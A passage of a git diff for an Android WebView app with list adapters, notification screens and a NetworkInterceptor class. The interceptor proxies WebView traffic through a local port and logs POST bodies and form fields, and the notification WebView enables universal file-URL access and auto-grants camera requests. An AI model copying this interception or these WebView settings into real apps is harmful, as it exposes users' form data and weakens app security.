@Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position).getBankName()); + + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/MyListAdapter.java b/base_no_music/src/main/java/com/web/base/MyListAdapter.java new file mode 100644 index 0000000..f42b437 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MyListAdapter.java @@ -0,0 +1,75 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + + public MyListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position)); + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } +} diff --git a/base_no_music/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_no_music/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..3d3cb0f --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,179 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + +// holder.itemView.setOnClickListener(view -> { +// if (itemClickPostionListener != null) { +// itemClickPostionListener.item(position); +// } +// }); + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) { + messageInfo.setShowAll(true); + messageItem = null; + } + int type = messageInfo.getType(); + if (type == 1) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText("Text"); + } + if (type == 2) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText("Image"); + } + if (type == 3) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText("Jump link"); + } + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + LogUtils.i("地址是啥:"+messageInfo.getImage()); + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return "1000"; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_no_music/src/main/java/com/web/base/MyWithDrwaListAdapter.java b/base_no_music/src/main/java/com/web/base/MyWithDrwaListAdapter.java new file mode 100644 index 0000000..adb5291 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MyWithDrwaListAdapter.java @@ -0,0 +1,70 @@ +package com.web.base; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +/** + * 提现记录 + */ +public class MyWithDrwaListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private Context context; + + public MyWithDrwaListAdapter(Context context, List listdata) { + this.context = context; + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_withdraw_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WithDrawListInfo.WithDrawInfo withDrawInfo = listdata.get(position); + holder.tvWithDrawName.setText(withDrawInfo.getName() + "(" + withDrawInfo.getBankName() + ")"); + holder.tvWithDrawAmount.setText(String.format(context.getString(R.string.app_withdraw_amount), withDrawInfo.getAmount())); + holder.tvWithDrawBalance.setText(String.format(context.getString(R.string.app_balance), withDrawInfo.getBalance())); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private TextView tvWithDrawName; + private TextView tvWithDrawAmount; + private TextView tvWithDrawBalance; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + tvWithDrawName = itemView.findViewById(R.id.tv_withdrawname); + tvWithDrawAmount = itemView.findViewById(R.id.tv_withdrawamount); + tvWithDrawBalance = itemView.findViewById(R.id.tv_withdrawbalance); + } + + + } +} diff --git a/base_no_music/src/main/java/com/web/base/NetworkInterceptor.java b/base_no_music/src/main/java/com/web/base/NetworkInterceptor.java new file mode 100644 index 0000000..a036301 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/NetworkInterceptor.java @@ -0,0 +1,196 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.net.ConnectivityManager; +import android.net.LinkProperties; +import android.net.Network; +import android.os.Build; + +import com.tencent.smtt.sdk.WebView; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.URLDecoder; +import java.util.HashMap; +import java.util.Map; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/10/27 14:40 + * 用途 + * ********************** + */ +public class NetworkInterceptor { + private static final int PROXY_PORT = 8888; + + public static void startIntercept(Context context, WebView webView) { + try { + // 设置本地代理 + setLocalProxy(context, webView); + + // 启动代理服务器 + startProxyServer(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressLint("MissingPermission") + private static void setLocalProxy(Context context, WebView webView) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + // Android 6.0+ + Context appContext = context.getApplicationContext(); + Network network = null; + + ConnectivityManager connectivityManager = + (ConnectivityManager) appContext.getSystemService(Context.CONNECTIVITY_SERVICE); + if (connectivityManager != null) { + network = connectivityManager.getActiveNetwork(); + } + + if (network != null) { + LinkProperties linkProperties = connectivityManager.getLinkProperties(network); + if (linkProperties != null) { + String proxyHost = "127.0.0.1"; + int proxyPort = PROXY_PORT; + + // 设置代理 + webView.setNetworkAvailable(true); + + // 通过反射设置X5WebView的代理 + setX5WebViewProxy(webView, proxyHost, proxyPort); + } + } + } + } + + private static void setX5WebViewProxy(WebView webView, String host, int port) { + try { + Class webViewClass = webView.getClass(); + Field mWebViewField = webViewClass.getDeclaredField("mWebView"); + mWebViewField.setAccessible(true); + Object x5WebView = mWebViewField.get(webView); + + if (x5WebView != null) { + Class x5WebViewClass = x5WebView.getClass(); + Method setProxyMethod = x5WebViewClass.getMethod("setProperty", String.class, String.class); + setProxyMethod.invoke(x5WebView, "proxy_host", host); + setProxyMethod.invoke(x5WebView, "proxy_port", String.valueOf(port)); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + private static void startProxyServer() { + new Thread(() -> { + try { + ServerSocket serverSocket = new ServerSocket(PROXY_PORT); + + while (!Thread.currentThread().isInterrupted()) { + Socket clientSocket = serverSocket.accept(); + handleClientRequest(clientSocket); + } + } catch (IOException e) { + e.printStackTrace(); + } + }).start(); + } + + private static void handleClientRequest(Socket clientSocket) { + try { + InputStream clientInput = clientSocket.getInputStream(); + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + + byte[] data = new byte[4096]; + int bytesRead; + while ((bytesRead = clientInput.read(data, 0, data.length)) != -1) { + buffer.write(data, 0, bytesRead); + + // 解析HTTP请求 + String request = buffer.toString("UTF-8"); + if (request.contains("\r\n\r\n")) { + parseHttpRequest(request); + break; + } + } + + clientSocket.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private static void parseHttpRequest(String request) { + String[] lines = request.split("\r\n"); + String requestLine = lines[0]; + + if (requestLine.contains("POST")) { + LogUtils.i("DAILIPROXY_POST"+"检测到POST请求"); + + // 解析请求头 + Map headers = new HashMap<>(); + int bodyStartIndex = -1; + + for (int i = 1; i < lines.length; i++) { + if (lines[i].isEmpty()) { + bodyStartIndex = i + 1; + break; + } + + String[] headerParts = lines[i].split(":", 2); + if (headerParts.length == 2) { + headers.put(headerParts[0].trim(), headerParts[1].trim()); + } + } + + // 解析请求体 + if (bodyStartIndex != -1 && bodyStartIndex < lines.length) { + StringBuilder body = new StringBuilder(); + for (int i = bodyStartIndex; i < lines.length; i++) { + body.append(lines[i]); + } + + String postData = body.toString(); + LogUtils.i("DAILIPROXY_POST_DATA"+"POST数据: " + postData); + + // 解析POST参数 + if (headers.containsKey("Content-Type") && + headers.get("Content-Type").contains("application/x-www-form-urlencoded")) { + + Map params = parseFormData(postData); + for (Map.Entry entry : params.entrySet()) { + LogUtils.i("DAILIPOST_PARAM"+entry.getKey() + "=" + entry.getValue()); + } + } + } + } + } + + private static Map parseFormData(String formData) { + Map params = new HashMap<>(); + try { + String[] pairs = formData.split("&"); + for (String pair : pairs) { + String[] keyValue = pair.split("="); + if (keyValue.length == 2) { + String key = URLDecoder.decode(keyValue[0], "UTF-8"); + String value = URLDecoder.decode(keyValue[1], "UTF-8"); + params.put(key, value); + } + } + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + return params; + } +} \ No newline at end of file diff --git a/base_no_music/src/main/java/com/web/base/NotifyDetailsActivity.java b/base_no_music/src/main/java/com/web/base/NotifyDetailsActivity.java new file mode 100644 index 0000000..4583498 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/base_no_music/src/main/java/com/web/base/NotifyListActivity.java b/base_no_music/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..7b58c8d --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,129 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(new MyNotifyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + } + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_no_music/src/main/java/com/web/base/Result.java b/base_no_music/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_no_music/src/main/java/com/web/base/ResultDataInfo.java b/base_no_music/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + 